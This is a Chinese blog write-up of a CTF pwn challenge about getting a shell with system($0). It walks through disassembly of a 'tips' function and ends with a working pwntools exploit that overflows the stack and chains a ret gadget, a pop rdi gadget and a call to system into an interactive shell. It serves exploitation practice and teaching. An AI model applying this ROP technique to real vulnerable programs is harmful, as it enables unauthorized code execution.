首页 > 其他分享 >ret2text(system($0))

ret2text(system($0))

时间:2024-03-15 18:32:57浏览次数:19  
标签:ret2text 00 text system rbp tips 权限

system($0)介绍

在正常的编程或系统使用中,system($0) 本身并不会直接导致获取任何权限。$0 是一个特殊的 shell 变量,它代表当前脚本或程序的名字。在 C 语言中,如果你使用 system() 函数来执行一个 shell 命令,那么传递给 system() 的字符串会被当作 shell 命令来执行。

如果你尝试执行 system($0),你实际上是在尝试执行一个名为当前脚本或程序名字的 shell 命令。这通常没有特殊的权限提升效果,除非该名字恰好指向了一个具有特殊权限的脚本或程序。

权限的提升通常涉及到利用系统漏洞、执行具有更高权限的程序或脚本、或者通过其他机制(如 sudo)以更高权限用户身份执行命令。

例如,在 Unix 或 Linux 系统中,一个用户可能通过配置 sudoers 文件来允许某些用户或用户组以超级用户(root)权限执行特定的命令。在这种情况下,即使一个普通用户运行了一个脚本,该脚本中的 system() 调用也可能以更高的权限执行命令,但这需要 sudo 的配置和用户的显式同意(通常是输入密码)。

如果你听说 system($0) 能够获取权限,那么这很可能是在某种特定的攻击场景或上下文中提到的。在这种情况下,攻击者可能利用了某些特定的系统配置或漏洞来执行恶意代码,并且 system($0) 只是攻击链中的一环。然而,这并不意味着 system($0) 本身具有获取权限的能力;而是攻击者利用了其他条件来实现这一点。

总之,system($0) 本身并不会导致权限的提升。权限的提升通常涉及到更复杂的机制和条件,需要攻击者具备相应的知识和技能。

例题

我们看道例题

经典nx,栈迁移,本该是很简单的一道题,但是涉及到system($0),就难理解了一点点,仅仅是一点点

废话不多说,距离rbp,0x10,填充0x18覆盖rbp,构造ret,这时候我们发现有system函数,没有/bin/sh,怎么办,可能有小伙伴想ret2libc,当然可以,但是太过麻烦,我们发现有的tips函数还没有看

 我们直接进去西索

我们详细分析这串代码:

这段文本是一个反汇编代码片段,它描述了一个名为 tips 的函数或过程的汇编实现。我会为你逐行解释这段代码:


.text:0000000000400537 public tips

这行标记了一个名为 tips 的公共符号,表示这是一个可以被其他模块或代码引用的函数或过程。


.text:0000000000400537 tips proc near

这行定义了 tips 过程的开始,proc near 表示这是一个近程调用过程(即,它的跳转和调用通常在相同的代码段内)。

.text:0000000000400537 ; __unwind {

这是一个注释,它可能是关于异常处理的元数据或提示,尽管在这段代码中它并不直接影响执行流程。

.text:0000000000400537 55 push rbp

这行代码将当前的基指针寄存器(rbp)的值压入栈中。这通常是为了在函数内部保存原始的栈帧指针。

.text:0000000000400538 48 89 E5 mov rbp, rsp

这行代码将当前的栈指针寄存器(rsp)的值移动到基指针寄存器(rbp)。这是设置新的栈帧的开始/

.text:000000000040053B B8 00 00 00 00 mov eax, 0

这行代码将累加器寄存器(eax)的值设置为0。这通常用于准备返回值或用于其他计算。

.text:0000000000400540 E8 24 30 00 00 call near ptr 403569h

这行代码调用了一个位于地址 403569h 的函数或过程。E8 是调用指令的操作码,而 24 30 00 00 是相对偏移量。

.text:0000000000400545 90 nop

这是一个无操作指令(nop),它什么都不做。它通常用作占位符或用于对齐代码。

.text:0000000000400546 5D pop rbp

这行代码从栈中弹出一个值,并将其放回 rbp 寄存器中。这是函数结束时恢复原始栈帧指针的过程的一部分。

.text:0000000000400547 C3 retn

这行代码是一个返回指令。它将从栈中弹出一个值作为返回地址,并跳转到该地址。这标志着 tips 函数的结束。

.text:0000000000400547 ; } // starts at 400537
.text:0000000000400547 tips endp

这些是注释,标记了 tips 过程的结束,并给出了其开始的地址。

总之,这个 tips 函数似乎很简单:它设置了新的栈帧,可能执行了一些操作(尽管在这段代码中看不到),然后调用了一个位于 403569h 的函数,最后恢复了原始的栈帧并返回。

这里可以使用system($0)来获得shell权限。
首先用垃圾数据填充栈,进行栈溢出,然后将数据放入$0放入rdi中,然后跳到system函数执行。

exp

from pwn import *
    
context(os='linux',arch='amd64',log_level='debug')
p= process('./system0')
elf=ELF('./system0')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret=0x0000000000400416
rdi=0x00000000004005e3
tip=0x400541
system=0x400430
payload=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(tip)+p64(system)
p.send(payload)
p.interactive()

标签:ret2text,00,text,system,rbp,tips,权限
From: https://blog.csdn.net/2302_79899078/article/details/136745697

相关文章

  • 【linux system V 消息队列】
    #简介消息队列就是一些消息的列表,或者说是一些消息组成的队列。消息队列与管道有些类似,消息队列可以认为是管道的改进版。相较于管道的先进先出准则,消息队列在读取时可以按照消息的类型进行读取,这也是消息队列的特点,它可以实现消息随机查询。消息发送时,需要将消息封装,然......
  • TN系统 TN System
    一、电力系统有一点直接接地,电气装置的外露可导电部分通过保护线与该接地点相连接。根据中性导体(N)和保护导体(PE)的配置方式,TN系统可分为如下三类:1 TN-C系统整个系统的N、PE线是合一的;2 TN-C-S系统系统中有一部分线路的N、PE线是合一的;3 TN-S系统整个系统的N、PE线是分开......
  • Android 11 SystemServer启动流程
    在Android11Zygote启动流程有提到,Zygote通过forkSystemServer,fork出SystemServer进程,并在SystemServer进程中调用handleSystemServerProcess返回一个Runnable //...... /*Forchildprocess*/if(pid==0){if(hasSecondZygote(abiList))......
  • 猫头虎分享已解决Bug || 分布式文件系统问题(Distributed File System Issue):DFSUnavail
    博主猫头虎的技术世界......
  • 探索谷歌的秘密花园:Google文件系统GFS之旅(Google File System)
    文章目录......
  • Springboot2+consul启动时报错,读取的SystemConfig类的值全部为null
    【错误描述】     解决方案:检查是否已经在pom.xml配置了consul的相关jar包引用。 排查过程:检查了启动的日志,跟旧项目的正常日志进行对比,发现缺少了读取配置boostrap文件的日志。怀疑没有启动consul服务去远端读取consul的内容。 ......
  • 书籍推荐|低功耗设计必备手册!Low Power Methodology Manual For System-on-Chip Desig
    《LowPowerMethodologyManualForSystem-on-ChipDesign》是ic设计领域中关于低功耗设计的著名书籍,该书是由Synopsys和ARM中的专业人员联合编写,新思科技(Synopsys)是世界3大EDA巨头之一,是全球领先的芯片设计、验证和软件安全与质量解决方案提供商,ARM也是全球知名的cpu设计公司......
  • C#面:System.Array.CopyTo() 和 System.Array.Clon() 的区别
    二者都是用于复制数组的方法,但它们有一些区别:System.Array.CopyTo():方法签名:voidCopyTo(Arrayarray,intindex)功能:将当前数组的所有元素复制到另一个数组中。参数:array:目标数组,即要将元素复制到的数组。index:目标数组中的起始索引,从该索引开始复制元素。返回值:无注意......
  • too many files open in system.18067683
    toomanyfilesopeninsystem修改Linux系统限制ulimit-n65535echo"*softnofile65535">>/etc/security/limits.conf查看哪个用户或进程占用的文件多,关闭不必要的文件#查看进程打开文件数最多的前5个进程lsof|awk'{print$2}'|sort|uniq-c|sort-r......
  • JAVA常用类--System类
    System类System是一个在Java开发过程中最常见的一种系统类主要特点:可以直接执行一些系统命令例如:“System.out.println()"就是System类的一种功能本次观察以下几个方法的使用:方法名类型描述publicstaticvoidarraycopy(Objectsrc,intsrcPos,Objectd......